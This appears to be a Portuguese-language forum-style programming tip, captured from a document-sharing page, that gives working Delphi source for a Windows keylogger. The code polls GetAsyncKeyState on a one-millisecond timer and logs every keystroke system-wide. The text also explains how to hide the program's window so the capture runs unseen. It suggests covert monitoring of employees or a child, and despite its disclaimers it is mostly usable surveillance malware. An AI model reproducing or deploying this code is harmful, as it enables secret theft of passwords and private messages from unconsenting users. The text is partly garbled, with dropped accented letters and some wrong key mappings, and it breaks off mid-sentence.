Vous êtes sur la page 1sur 3

A unica coisa pra ser criada como isso e tipo um keylogger!

ESSE TEXTO TEM CARTER DIDTICO / APRENDIZADO DE PROGRAMAO. O USO QUE SE FAR DA INFORMAO DE SUA TOTAL RESPONSABILIDADE. ELE DEVE SER USADO PARA FINS LEGAIS APENAS.

Essa dica de Delphi muuuuito boa! Um tempo atrs disso... Finalmente achei algo significante... Use por sua conta e risco!!! Um mtodo fcil de capturar TUDO O QUE DIGITADO no computador com Windows, ou seja, um mtodo fcil de criar um keylogger. uma dica de programao, portanto no para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras verses tambm... Como avanada, apesar de relativamente fcil, no vou comentar muito, ok?! Se voc tiver dvidas, comentrios ou sugestes deixe um comentrio neste post, e NO me envie e-mails perguntando porque no tenho tempo para responder sobre programao ou coisas avanadas. Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer. No cdigo, defina a seguinte funo: function Coloca(txt: String): String; begin Form1.Memo1.Text := Form1.Memo1.Text + txt; end; E coloque no evento Timer do temporizador: procedure TForm1.Timer1Timer(Sender: TObject); var keyloop, KeyResult : Integer; begin keyloop := 0; repeat KeyResult := GetAsyncKeyState(keyloop); if KeyResult = -32767 then begin case keyloop of 8: Coloca(' [BACKSPACE] '); 9: Coloca(' [TAB] '); 12: Coloca(' [ALT] '); 13: Coloca(' [ENTER] '); 16: Coloca(' [SHIFT] '); 17: Coloca(' [CONTROL] '); 18: Coloca(' [ALT] '); 20: Coloca(' [CAPS LOCK] '); 21: Coloca(' [PAGE UP] '); 27: Coloca(' [ESC] '); 33: Coloca(' [PAGE UP] '); 34: Coloca(' [PAGE DOWN] ');

35: Coloca(' [END] '); 36: Coloca(' [HOME] '); 37: Coloca(' [SETA ESQUERDA] '); 38: Coloca(' [SETA ACIMA] '); 39: Coloca(' [SETA DIREITA] '); 40: Coloca(' [SETA ABAIXO] '); 45: Coloca(' [INSERT] '); 46: Coloca(' [DEL] '); 91: Coloca(' [WIN ESQUERDA] '); 92: Coloca(' [WIN DIREITA] '); 93: Coloca(' [MENU POP-UP] '); 96: Coloca('0'); 97: Coloca('1'); 98: Coloca('2'); 99: Coloca('3'); 100: Coloca('4'); 101: Coloca('5'); 102: Coloca('6'); 103: Coloca('7'); 104: Coloca('8'); 105: Coloca('9'); 106: Coloca(' [NUM *] '); 107: Coloca(' [NUM +] '); 109: Coloca(' [NUM -] '); 110: Coloca(' [NUM SEP. DECIMAL] '); 111: Coloca(' [NUM /] '); 112: Coloca(' [F1] '); 113: Coloca(' [F2] '); 114: Coloca(' [F3] '); 115: Coloca(' [F4] '); 116: Coloca(' [F5] '); 117: Coloca(' [F6] '); 118: Coloca(' [F7] '); 119: Coloca(' [F8] '); 120: Coloca(' [F9] '); 121: Coloca(' [F10] '); 122: Coloca(' [F11] '); 123: Coloca(' [F12] '); 144: Coloca(' [NUM LOCK] '); 186: Coloca(''); 187: Coloca('='); 188: Coloca(','); 189: Coloca('-'); 190: Coloca('.'); 191: Coloca(';'); 192: Coloca(' [APSTROFO] '); 193: Coloca('/'); 194: Coloca(' [NUM PONTO] '); 219: Coloca(''); 220: Coloca(']'); 221: Coloca('['); 222: Coloca('~'); 226: Coloca('\');

else if (KeyLoop >= 65) and (keyloop <= 90) then Coloca(Chr(keyloop)); if (keyloop >= 32) and (keyloop <= 63) then Coloca(Chr(keyloop)); //numpad keycodes if (keyloop >= 96) and (keyloop <= 110) then Coloca(Chr(keyloop)); end; end; //case; inc(keyloop); until keyloop = 255; end; ah sim, ia esquecendo.. coloque o interval do timer para "1"... seno ficar difcil captar neh.. rs e ++: bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, ir aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficar repedito e confuso.. Ento... Rode o programa (tecle F9). Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela no estiver ativa (digo, se estiver por trs das outras ou ocultas). Keylogger que se preze... No fica em janela! Oculte-o como preferir, e salve o contedo do Memo onde quiser. A com voc... Dica: para ocultar o programa, digite Application.ShowMainForm := False, no cdigo-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm... Mas a voc dever ter criado um mtodo para recuperar o que foi digitado, n?! Adapte o programa como voc quiser, afinal aqui apenas mostrei como possvel capturar o que foi digitado. Lembre-se de que ele poder ser fechado pelo Gerenciador de tarefas do Windows, atravs da guia "Processos". deixo claro que esse cdigo realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer! UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USURIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONRIO QUE ZA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PASES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA EST SENDO MON

Vous aimerez peut-être aussi